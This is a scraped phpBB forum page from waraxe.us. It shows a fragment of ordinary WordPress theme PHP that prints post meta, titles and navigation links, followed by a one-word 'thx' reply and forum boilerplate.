echo '<p class="postmeta clearfix"><a class="comment-count" href="';
comments_link();
echo '">';
comments_number('0 Comments', '1 Comment', '% Comments');
echo '</a>';
the_time('l');
echo ' • ';
the_time('F j');
echo ', ';
the_time('Y');
echo ' • by ';
the_author_posts_link();
echo '';
edit_post_link('edit', ' // ', '');
echo '</p>';
}
function lux_meta_bottom()
{
$tag_list = get_the_tag_list($before = '<p class="postmeta clearfix">Tagged with: ', $sep = ', ', $after = '</p>');
echo ' <p class="postmeta clearfix">Posted in: ';
the_category(', ');
echo '</p>
';
echo $tag_list;
echo ' ';
}
function lux_title()
{
echo '<h2 class="posttitle"><a href="';
the_permalink();
echo '" rel="bookmark" title="Permanent Link to ';
the_title_attribute();
echo '">';
the_title();
echo '</a></h2>';
}
function lux_post_nav()
{
echo '<div class="pagenavigation clearfix"><div class="left">';
next_posts_link('Older Entries');
echo '</div><div class="right">';
previous_posts_link('Newer Entries');
echo '</div></div>';
}
?>
|
|
|
|
|
|
|
|
|
|
Posted: Sun Jun 20, 2010 9:01 am |
|
|
Kuroba |
Beginner |
|
|
Joined: Jun 19, 2010 |
Posts: 2 |
|
|
|
|
|
|
|
thx |
|
|
|
|
www.waraxe.us Forum Index -> All other hashes
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|